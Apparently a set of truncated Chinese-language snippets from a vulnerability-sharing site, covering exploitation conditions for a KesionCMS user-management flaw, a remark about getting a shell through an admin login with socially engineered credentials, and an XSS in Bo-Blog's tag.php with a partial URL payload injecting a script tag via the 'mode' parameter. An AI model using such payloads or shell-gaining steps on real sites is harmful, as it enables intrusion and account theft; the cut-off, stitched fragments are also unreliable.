漏洞利用条件：1.kesionCMS 版本 大于等于8.02.存在用户管理平台漏洞作者：鬼哥漏洞版权：90sec测试图： ......

账号密码是社工的 不能上传图片 拿shell后台登陆界面 ......

tag.php中的mode变量过滤不严，导致xsshttp://www.bo-blog.com/weblog/tag.php?tag=%25E6%258F%2592%25E4%25BB%25B6&mode=1>"><Sc...